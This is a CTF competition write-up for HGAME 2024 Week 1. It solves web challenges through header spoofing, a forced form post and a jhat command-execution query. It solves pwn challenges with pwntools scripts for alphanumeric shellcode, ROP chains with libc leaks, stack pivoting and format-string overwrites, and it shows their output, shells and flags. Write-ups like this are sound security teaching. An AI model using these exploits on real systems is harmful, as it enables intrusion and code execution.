HGAME 2024 Writeup - Mantle - Week 1
原地址为https://vidar-team.feishu.cn/docx/NV9SdXlQIoBkdIxE2slcTtuFnQg。
- URL: https://hgame.vidar.club/
- Username: csmantle (Individual participation)
- Start Time: 2024-01-29 20:00:00
- End Time: 2024-02-05 20:00:00
- Status: AAK @ 2024-02-01 AM
Web
ezHTTP
HTTP Protocol Basics
PS D:\Workspace\rev\hgame_2024> curl -v http://139.196.200.143:30264
* Trying 139.196.200.143:30264...
* Connected to 139.196.200.143 (139.196.200.143) port 30264
> GET / HTTP/1.1
> Host: 139.196.200.143:30264
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.1 Python/3.11.6
< Date: Mon, 29 Jan 2024 12:09:17 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 536
< Hint: Maybe you can try changing http request headers?
< Connection: close
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="description" content="Challenge">
<title>ezHTTP</title>
</head>
<body>
<p>请从vidar.club访问这个页面</p>
</body>
</html>
<style>
* {
margin: 0; padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 100vw; height: 100vh;
display: flex;
justify-content: center; align-items: center;
}
</style>* Closing connection
PS D:\Workspace\rev\hgame_2024> curl -v -H "Referer: vidar.club" http://139.196.200.143:30264
* Trying 139.196.200.143:30264...
* Connected to 139.196.200.143 (139.196.200.143) port 30264
> GET / HTTP/1.1
> Host: 139.196.200.143:30264
> User-Agent: curl/8.4.0
> Accept: */*
> Referer: vidar.club
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.1 Python/3.11.6
< Date: Mon, 29 Jan 2024 12:09:31 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 645
< Connection: close
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="description" content="Challenge">
<title>ezHTTP</title>
</head>
<body>
<p>请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面</p>
</body>
</html>
<style>
* {
margin: 0; padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 100vw; height: 100vh;
display: flex;
justify-content: center; align-items: center;
}
</style>* Closing connection
PS D:\Workspace\rev\hgame_2024> curl -v -H "Referer: vidar.club" -H "User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" http://139.196.200.143:30264
* Trying 139.196.200.143:30264...
* Connected to 139.196.200.143 (139.196.200.143) port 30264
> GET / HTTP/1.1
> Host: 139.196.200.143:30264
> Accept: */*
> Referer: vidar.club
> User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.1 Python/3.11.6
< Date: Mon, 29 Jan 2024 12:09:46 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 532
< Hint: Not XFF
< Connection: close
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="description" content="Challenge">
<title>ezHTTP</title>
</head>
<body>
<p>请从本地访问这个页面</p>
</body>
</html>
<style>
* {
margin: 0; padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 100vw; height: 100vh;
display: flex;
justify-content: center; align-items: center;
}
</style>* Closing connection
PS D:\Workspace\rev\hgame_2024>
不是 X-Forwarded-For,那么是 X-Real-IP,虽然这东西很少见,资料也不多。
PS D:\Workspace\rev\hgame_2024> curl -v -H "Referer: vidar.club" -H "User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" -H "X-Real-IP: 127.0.0.1" http://139.196.200.143:30264
* Trying 139.196.200.143:30264...
* Connected to 139.196.200.143 (139.196.200.143) port 30264
> GET / HTTP/1.1
> Host: 139.196.200.143:30264
> Accept: */*
> Referer: vidar.club
> User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
> X-Real-IP: 127.0.0.1
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.1 Python/3.11.6
< Date: Mon, 29 Jan 2024 12:42:54 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 540
< Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc
< Connection: close
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="description" content="Challenge">
<title>ezHTTP</title>
</head>
<body>
<p>Ok, the flag has been given to you ^-^</p>
</body>
</html>
<style>
* {
margin: 0; padding: 0;
box-sizing: border-box;
}
body {
position: relative;
width: 100vw; height: 100vh;
display: flex;
justify-content: center; align-items: center;
}
</style>* Closing connection
PS D:\Workspace\rev\hgame_2024>
看上去是 OAuth 的 token,解码得到 flag。
hgame{HTTP_!s_1mP0rT4nt}
Select Courses
Can you help ma5hr00m select the desired courses?
审 api 没看到啥注入点,根据生活经验编写抢课脚本。
import json
from typing import TypedDict
import requests
from pwn import *
class Course(TypedDict):
description: str
id: int
is_full: bool
location: str
name: str
sort: str
status: bool
time: str
class CourseStatus(TypedDict):
message: list[Course]
status: int
def get_course_status(api: str) -> CourseStatus:
r = requests.get(api)
if r.status_code != 200:
error(f"Failed to get course status: {r.status_code}")
exit(1)
return json.loads(r.text)
def select_course(api: str, course_id: int) -> dict:
r = requests.post(api, json={"id": course_id})
if r.status_code != 200:
error(f"Failed to select course: {r.status_code}")
exit(1)
return json.loads(r.text)
def trigger_check(api: str) -> dict:
r = requests.get(api)
if r.status_code != 200:
error(f"Failed to trigger check: {r.status_code}")
exit(1)
return json.loads(r.text)
COURSE_API = "http://47.100.137.175:30941/api/courses"
CHECK_API = "http://47.100.137.175:30941/api/ok"
if __name__ == "__main__":
while True:
status = get_course_status(COURSE_API)
vacant_ids = map(
lambda c: c["id"], filter(lambda c: not c["is_full"], status["message"])
)
n_selected = len(
list(
map(lambda c: c["id"], filter(lambda c: c["status"], status["message"]))
)
)
n_newly_sel = 0
for course_id in vacant_ids:
info(f"Selecting course {course_id}")
select_course(COURSE_API, course_id)
n_newly_sel += 1
if n_newly_sel != 0:
success(f"Selected {n_newly_sel} courses")
if n_selected == len(status["message"]):
success("All courses selected")
break
check_result = trigger_check(CHECK_API)
success(check_result)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ python ./Select\ Courses/sol.py
[*] Selecting course 2
[+] Selected 1 courses
[*] Selecting course 2
[+] Selected 1 courses
[*] Selecting course 2
[+] Selected 1 courses
[*] Selecting course 2
[+] Selected 1 courses
...
[*] Selecting course 5
[+] Selected 1 courses
[+] All courses selected
[+] {'message': '谢谢啦!这是给你的礼物:hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}'}
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}
Bypass it
This page requires javascript to be enabled :)
我还以为这题要我盲打弱比较呢
点击注册,无法注册。
直接 curl 一份网页下来。
PS D:\Workspace\rev\hgame_2024> curl -v http://47.100.245.185:31910/register_page.php
* Trying 47.100.245.185:31910...
* Connected to 47.100.245.185 (47.100.245.185) port 31910
> GET /register_page.php HTTP/1.1
> Host: 47.100.245.185:31910
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Tue, 30 Jan 2024 08:48:55 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/7.4.5
<
<html>
<head>
<meta charset="utf-8">
<title>用户注册</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<form action="register.php" method="post">
<fieldset>
<legend>用户注册</legend>
<ul>
<li>
<label>用户名:</label>
<input type="text" name="username" />
</li>
<li>
<label>密 码:</label>
<input type="password" name="password" />
</li>
<li>
<label> </label>
<input type="submit" name="register" value="注册" />
</li>
</ul>
</fieldset>
</form>
<script language='javascript' defer>alert('很抱歉,当前不允许注册');top.location.href='login.html'</script></div>
</body>
</html>
* Connection #0 to host 47.100.245.185 left intact
PS D:\Workspace\rev\hgame_2024>
构造一个 form 提交上去。
PS D:\Workspace\rev\hgame_2024> curl -v -X POST -d "username=phpIsManure&password=phpIsManure®ister=1" http://47.100.245.185:31910/register.php
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 47.100.245.185:31910...
* Connected to 47.100.245.185 (47.100.245.185) port 31910
> POST /register.php HTTP/1.1
> Host: 47.100.245.185:31910
> User-Agent: curl/8.4.0
> Accept: */*
> Content-Length: 52
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Tue, 30 Jan 2024 08:49:03 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/7.4.5
<
<script language='javascript' defer>alert('注册成功');top.location.href='login.html'</script>* Connection #0 to host 47.100.245.185 left intact
PS D:\Workspace\rev\hgame_2024>
登录拿 flag。
hgame{0c3c63a86c53b38e9fe038c6e2e4c7f843c77f0e}
jhat
jhat is a tool used for analyzing Java heap dump files
jhat 中的自定义查询存在 RCE。
(new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream())).useDelimiter('\\\\A').next()
2048*16
2048 还是太简单了,柏喵喵决定挑战一下 2048*16
JS anti-debugger
和 patch。
直接 F12 的话,Firefox 会直接 hang,Chrome 能看到一个相当深的 debugger 递归。
爬取网页,然后 patch 掉相关 debugger 语句片段。
这样的代码有很多处。全部完成后可以使用 F12 调试。
选择将初始生成方块的数字调至接近 32768 的数值,比如 16384。
看到一个 this.addStartTiles(),动调获取函数体。
然后进一步跟进。修改生成的块上数量为 8192 和 16384。
稍微按两下即可 getflag。
flag{b99b820f-934d-44d4-93df-41361df7df2d}
这里提供 patch 后的网页文件:
Pwn
ezSignIn
Have fun in pwn games of hgame2024~
PS D:\Workspace\rev\hgame_2024> ncat 47.100.137.175 31774
hgame{I_HATE_PWN}
Ncat: 你的主机中的软件中止了一个已建立的连接。 .
PS D:\Workspace\rev\hgame_2024>
hgame{I_HATE_PWN}
ezshellcode
Short visible shellcode?
64bit shellcode,长度限制 10 字节,范围 A-Za-z0-9
void __fastcall myread(uint8_t *buf, unsigned int len)
{
char v2; // [rsp+1Fh] [rbp-11h]
unsigned int i; // [rsp+20h] [rbp-10h]
unsigned int v4; // [rsp+24h] [rbp-Ch]
v4 = read(0, buf, len);
for ( i = 0; i < v4; ++i )
{
v2 = buf[i];
if ( (v2 <= '`' || v2 > 'z') && (v2 <= '@' || v2 > 'Z') && (v2 <= '/' || v2 > '9') )
{
puts("Invalid character\n");
exit(1);
}
}
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed int len; // [rsp+Ch] [rbp-14h] BYREF
uint8_t *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
buf = (uint8_t *)(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
if ( buf == (uint8_t *)-1LL )
{
perror("mmap");
exit(1);
}
printf("input the length of your shellcode:");
__isoc99_scanf("%2d", &len);
if ( len <= 10 )
{
printf("input your shellcode:");
myread(buf, len);
}
else
{
puts("too long");
}
((void (*)(void))buf)();
return 0;
}
这个长度限制输入的是 %2d,可以发送-1 使 read 的长度限制开到 INT32_MAX。那么长度限制就寄了。
shellcode 构造使用 AE64。
from pwn import *
from ae64 import AE64
context.binary = ELF("./ezshellcode/attachment/vuln")
shell = asm(shellcraft.amd64.linux.sh())
shell = AE64().encode(shell, "rax", 0, "fast")
info(shell)
with remote("47.100.139.115", 32676) as r:
r.sendlineafter(b"input the length of your shellcode:", b"-1")
r.sendafter(b"input your shellcode:", shell)
r.interactive()
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ python ./ezshellcode/sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/ezshellcode/attachment/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] prologue generated
[+] encoded shellcode generated
[*] build decoder, try free space: 54 ...
[*] build decoder, try free space: 186 ...
[+] Alphanumeric shellcode generate successfully!
[+] Total length: 234
/home/mantlebao/.local/lib/python3.10/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP
[+] Opening connection to 47.100.139.115 on port 32676: Done
[*] Switching to interactive mode
$ whoami
sh: 1: whoami: not found
$ cat /flag
hgame{cd49f6ab6840204b4618cbaa0b0b6051cb128333}
$
[*] Interrupted
[*] Closed connection to 47.100.139.115 port 32676
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
hgame{cd49f6ab6840204b4618cbaa0b0b6051cb128333}
Elden Ring I
伊丽莎白学姐沉迷于艾尔登法环无法自拔,你能帮她从梅琳娜那里拿到 flag 吗? flag 格式为 hgame{***}
除了 NX 之外保护全关。
没有 execve。
只有一个很小的溢出。
那么考虑先 leak 再 orw,但是有长度限制。栈迁移到 bss 可解。
from pwn import *
vuln = ELF("./Elden Ring 1/attachment/vuln")
vuln_libc = ELF("./Elden Ring 1/attachment/libc.so.6")
context.binary = vuln
OFFSET = 0x100
ADDR_POP_RDI_RET = 0x00000000004013E3
ADDR_POP_RSI_R15_RET = 0x00000000004013E1
ADDR_POP_R12_R13_R14_R15_RET = 0x00000000004013DC
ADDR_POP_RDX_RET = 0x0000000000142C92
ADDR_LEAVE_RET = 0x0000000000401290
PUTS_PLT = vuln.plt["puts"]
PUTS_GOT = vuln.got["puts"]
ADDR_BSS = vuln.bss()
ADDR_BSS_START = ADDR_BSS + 0xA0
ADDR_BSS_BUF_FLAG = ADDR_BSS + 0x1A0
ADDR_BSS_BUF_READ = ADDR_BSS_BUF_FLAG + 64
with remote("47.100.137.175", 30511) as r:
info("Step 1: leak libc base addr")
payload_1 = (
cyclic(OFFSET)
+ p64(0xDEADBEEF)
+ p64(ADDR_POP_RDI_RET)
+ p64(PUTS_GOT)
+ p64(PUTS_PLT)
+ p64(vuln.sym["vuln"])
)
info(payload_1.hex())
r.sendafter(
b"Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n\n",
payload_1,
)
puts_addr = u64(r.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
info(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr - vuln_libc.sym["puts"]
info(f"libc_base: {hex(libc_base)}")
info("Step 2: fill data into .bss")
payload_2 = (
cyclic(OFFSET)
+ p64(0xDEADBEEF)
+ p64(next(vuln_libc.search(asm("pop rsi; ret"))) + libc_base)
+ p64(ADDR_BSS_START)
+ p64(vuln_libc.sym["read"] + libc_base)
+ p64(vuln.sym["vuln"])
)
info(payload_2.hex())
r.sendafter(
b"Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n\n",
payload_2,
)
bss_content = b""
bss_content += (
p64(ADDR_POP_RSI_R15_RET)
+ p64(ADDR_BSS_BUF_FLAG)
+ p64(0)
+ p64(vuln_libc.sym["read"] + libc_base)
)
bss_content += (
p64(ADDR_POP_RDI_RET)
+ p64(ADDR_BSS_BUF_FLAG)
+ p64(ADDR_POP_RSI_R15_RET)
+ p64(0) * 2
+ p64(vuln_libc.sym["open"] + libc_base)
)
bss_content += (
p64(ADDR_POP_RDI_RET)
+ p64(3)
+ p64(ADDR_POP_RSI_R15_RET)
+ p64(ADDR_BSS_BUF_READ)
+ p64(0)
+ p64(ADDR_POP_RDX_RET + libc_base)
+ p64(0x100)
+ p64(vuln_libc.sym["read"] + libc_base)
)
bss_content += (
p64(ADDR_POP_RDI_RET)
+ p64(ADDR_BSS_BUF_READ)
+ p64(vuln_libc.sym["puts"] + libc_base)
)
info(bss_content.hex())
sleep(1)
r.send(bss_content)
sleep(1)
info("Step 3: migrate stack to .bss")
payload_3 = cyclic(OFFSET) + p64(ADDR_BSS_START - 8) + p64(ADDR_LEAVE_RET)
info(payload_3.hex())
r.sendafter(
b"Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n\n",
payload_3,
)
sleep(1)
r.sendline(b"/flag\x00")
r.interactive()
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ python ./Elden\ Ring\ 1/sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/Elden Ring 1/attachment/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/mnt/d/Workspace/rev/hgame_2024/Elden Ring 1/attachment/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 47.100.137.175 on port 30511: Done
[*] Step 1: leak libc base addr
[*] 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161796161617a61616262616162636161626461616265616162666161626761616268616162696161626a6161626b6161626c6161626d6161626e6161626f616162706161627161616272616162736161627461616275616162766161627761616278616162796161627a61616362616163636161636461616365616163666161636761616368616163696161636a6161636b6161636c6161636d6161636e616163efbeadde00000000e3134000000000002840400000000000c4104000000000005b12400000000000
[*] puts_addr: 0x7f29f224e420
[*] libc_base: 0x7f29f21ca000
[*] Step 2: fill data into .bss
[*] 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161796161617a61616262616162636161626461616265616162666161626761616268616162696161626a6161626b6161626c6161626d6161626e6161626f616162706161627161616272616162736161627461616275616162766161627761616278616162796161627a61616362616163636161636461616365616163666161636761616368616163696161636a6161636b6161636c6161636d6161636e616163efbeadde000000001f001ff2297f00000041400000000000c07f2df2297f00005b12400000000000
[*] e11340000000000000424000000000000000000000000000c07f2df2297f0000e3134000000000000042400000000000e11340000000000000000000000000000000000000000000e07c2df2297f0000e3134000000000000300000000000000e1134000000000004042400000000000000000000000000092cc30f2297f00000001000000000000c07f2df2297f0000e313400000000000404240000000000020e424f2297f0000
[*] Step 3: migrate stack to .bss
[*] 6161616162616161636161616461616165616161666161616761616168616161696161616a6161616b6161616c6161616d6161616e6161616f616161706161617161616172616161736161617461616175616161766161617761616178616161796161617a61616262616162636161626461616265616162666161626761616268616162696161626a6161626b6161626c6161626d6161626e6161626f616162706161627161616272616162736161627461616275616162766161627761616278616162796161627a61616362616163636161636461616365616163666161636761616368616163696161636a6161636b6161636c6161636d6161636e616163f8404000000000009012400000000000
[*] Switching to interactive mode
flag{D0_yoU_F4ncy_7he_E1d3nR1ng?I_D0!}
\x1b[3
[*] Got EOF while reading in interactive
$
[*] Closed connection to 47.100.137.175 port 30511
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
注意修改 flag 格式。
hgame{D0_yoU_F4ncy_7he_E1d3nR1ng?I_D0!}
Elden Random Challenge
rrrrraaaannnnndddddoooommmm
checksec 看到没开 canary 和 PIE:
看代码:
void __fastcall myread()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
read(0, buf, 0x100uLL);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i_guess; // [rsp+8h] [rbp-18h] BYREF
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
int rand_x; // [rsp+18h] [rbp-8h]
unsigned int seed; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp);
seed = time(0LL);
puts("Menlina: Well tarnished, tell me thy name.");
read(0, buf, 18uLL);
printf("I see,%s", buf);
puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
srand(seed);
while ( i <= 98 )
{
rand_x = rand() % 100 + 1;
i_guess = 0;
puts("Please guess the number:");
read(0, &i_guess, 8uLL);
if ( rand_x != i_guess )
{
puts("wrong!");
exit(0);
}
++i;
}
puts("Here's a reward to thy brilliant mind.");
myread();
return 0;
}
思路:先覆盖 seed,然后生成 99 个随机数的序列,最后使用 myread 的溢出 getshell。
生成随机数:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
putchar('[');
srand(0u);
for (int i = 0; i < 99; i++) {
int rand_x = rand() % 100 + 1;
printf("%d, ", rand_x);
}
putchar(']');
putchar('\n');
return 0;
}
先放 gadget
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ one_gadget ./Elden\ Random\ Challenge/attachment/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
...
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ ROPgadget --binary ./Elden\ Random\ Challenge/attachment/vuln
Gadgets information
============================================================
...
0x000000000040141c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
0x0000000000401423 : pop rdi ; ret
...
Unique gadgets found: 79
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
execve 选 0xe3afe,配合 0x40141c 处的四个 pop 一个 ret 使用。
from pwn import *
RANDS = [84, 87, 78, 16, 94, 36, 87, 93, 50, 22, 63, 28, 91, 60, 64, 27, 41, 27, 73, 37, 12, 69, 68, 30, 83, 31, 63, 24, 68, 36, 30, 3, 23, 59, 70, 68, 94, 57, 12, 43, 30, 74, 22, 20, 85, 38, 99, 25, 16, 71, 14, 27, 92, 81, 57, 74, 63, 71, 97, 82, 6, 26, 85, 28, 37, 6, 47, 30, 14, 58, 25, 96, 83, 46, 15, 68, 35, 65, 44, 51, 88, 9, 77, 79, 89, 85, 4, 52, 55, 100, 33, 61, 77, 69, 40, 13, 27, 87, 95]
vuln = ELF("./Elden Random Challenge/attachment/vuln")
vuln_libc = ELF("./Elden Random Challenge/attachment/libc.so.6")
context.binary = vuln
OFFSET = 0x30
ADDR_POP_RDI_RET = 0x0000000000401423
ADDR_POP_R12_R13_R14_R15_RET = 0x000000000040141c
PUTS_PLT = vuln.plt["puts"]
PUTS_GOT = vuln.got["puts"]
ADDR_LIBC_BINSH_GADGET = 0xe3afe
with remote("47.100.137.175", 30766) as r:
r.sendafter(b"Menlina: Well tarnished, tell me thy name.\n", cyclic(10) + b"\x00" * 8)
for rand_x in RANDS:
r.sendlineafter(b"Please guess the number:\n", p32(rand_x, endian="little"))
info("Random number guessed successfully")
payload_1 = cyclic(OFFSET) + p64(0xDEADBEEF) + p64(ADDR_POP_RDI_RET) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(vuln.sym["myread"])
info(payload_1)
r.sendafter(b"Here's a reward to thy brilliant mind.\n", payload_1)
puts_addr = u64(r.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
info("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - vuln_libc.sym["puts"]
info(f"libc_base: {hex(libc_base)}")
payload_2 = cyclic(OFFSET) + p64(0xDEADBEEF) + p64(ADDR_POP_R12_R13_R14_R15_RET) + p64(0) * 4 + p64(ADDR_LIBC_BINSH_GADGET + libc_base)
info(payload_2)
r.send(payload_2)
r.interactive()
D:\Workspace\pwnenv\Lib\site-packages\pwnlib\log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'info')
[*] aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaaï¾Þ#@@@´@]@
[*] puts_addr: 0x7fb18b5a4420
[*] libc_base: 0x7fb18b520000
[*] aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaaï¾Þ
@þ:`±
[*] Switching to interactive mode
whoami
: 1: whoami: not found
cat /flag
.,lcoo:::'''.............. .
....... ...::oc,:,;,................
......... ....,,c;.;':;,..........'''.....
...... .. .....',;.'';;,''....,:c;,,,,'''...
..... .......'..,.',';;,,,'.'cdxdddol:,'''.'. .
..........';'';,.,;;;,;;,;,oxxxxddoolc,'..... .
...... ....cc;,:;'',;;,,;,,:oxxxxxxddolc:,..... .
. .::::l:,',;,,,',;cllloddddddlc:;;'....
. ....',,cco:,,''..';c:;;,,,;lddo:'',,,... .. ...
. .....'::'::.'....;odoc:;;;:odd:..,;,'. . .....
..';:,'........'oxxxxddddxxd,.';clc:'.. ............
. .,:c::;..;,,'.. .;dxxkkxxxddo'.';clc:,.. .........
..,;::,''...,','.....cdxxkkxxooo,.,clc:;..
. .....''..........'......cdxxxxxxdlc;;:;;,'.
. ....... ....... ........cdxxdolc:;,';;'.. .....
. .. ... ..''..,ldddddollc:;'... ..
.. .'.'':',..cooodddol:'..,......
.,'.':c;:'.,:clllc:;,'''.,:.. ..
';:;.':c;:;...,ccc:;'',cc,......
.,,:c;';lc:c,...:ccclc;.......'.
.',::,';,','..;,,.'.'... ..,.
.;;;;;.,':';.;.....;''. ..
.::::;,';;,,;,.,,,'....
hgame{R4nd0m_Th1ngs_4r3_pr3sen7s_1n_l1f3}
[*] Interrupted
[*] Closed connection to 47.100.137.175 port 30766
(pwnenv) PS D:\Workspace\rev\hgame_2024>
hgame{R4nd0m_Th1ngs_4r3_pr3sen7s_1n_l1f3}
ezfmt string
Easy Format String
需要绕过 canary。
提供了后门函数。
80 个字符,不包含 p 和 s。
void __fastcall vuln()
{
__int64 buf[4]; // [rsp+0h] [rbp-80h] BYREF
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
strcpy((char *)buf, "make strings and getshell\n");
write(0, buf, 0x1BuLL);
read(0, s, 80uLL);
if ( !strchr(s, 'p') && !strchr(s, 's') )
printf(s);
}
那么这个位置就是 69 13 40 00 00 00 00 00
。sys 在 3D 12 40 00 00 00 00 00
。能不能直接写入?
找 offset:
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ ./ezfmt/attachment/attachment/vuln
the shit is ezfmt, M3?
make strings and getshell
aaaabaaa-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx
aaaabaaa-73-50-7f64bddb07e2-17-7f64bdee0040-72747320656b616d-646e612073676e69-6c65687374656720-7f64bd000a6c-6161616261616161-6c252d786c6c252d-2d786c6c252d786c-6c6c252d786c6c25-252d786c6c252d78
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
offset=10
但是没有能触发的地方。也没法用__stack_chk_fail,因为没法改掉 canary。
尝试二级指针写入。可能需要爆破一下。
%{N}c%18$hhn-%18$llx-%22$llx
可以将 %22$llx处的最低字节改为N。那么只需要将%22$llx 处改为 16k+8 where 0<=K<=15 即可写入返回地址。失败。必须有至少 2 次 printf 才行。
尝试利用函数返回的 leave; ret; leave; ret;
迁移栈。新栈区的数据可以从 read 读入。
%{16*k}c%18$hhn justified to 48 bytes + p64(0) + p64(0x40123D)
不行,会 segfault。
那么考虑直接跳到 lea rdi, command; call _system
:
from pwn import *
vuln = ELF("./ezfmt/attachment/attachment/vuln")
context.binary = vuln
with remote("47.100.137.175", 31709) as r:
payload_1 = b"%128c%18$hhn".ljust(48, b"\x00") + p64(0) + p64(0x401245)
info(hexdump(payload_1))
r.sendafter(b"make strings and getshell\n", payload_1)
r.interactive()
多试一试就出了。
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$ python ./ezfmt/sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/ezfmt/attachment/attachment/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 47.100.137.175 on port 31709: Done
[*] 00000000 25 31 32 38 63 25 31 38 24 68 68 6e 00 00 00 00 │%128│c%18│$hhn│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000030 00 00 00 00 00 00 00 00 45 12 40 00 00 00 00 00 │····│····│E·@·│····│
00000040
[*] Switching to interactive mode
\x00
s$ whoami
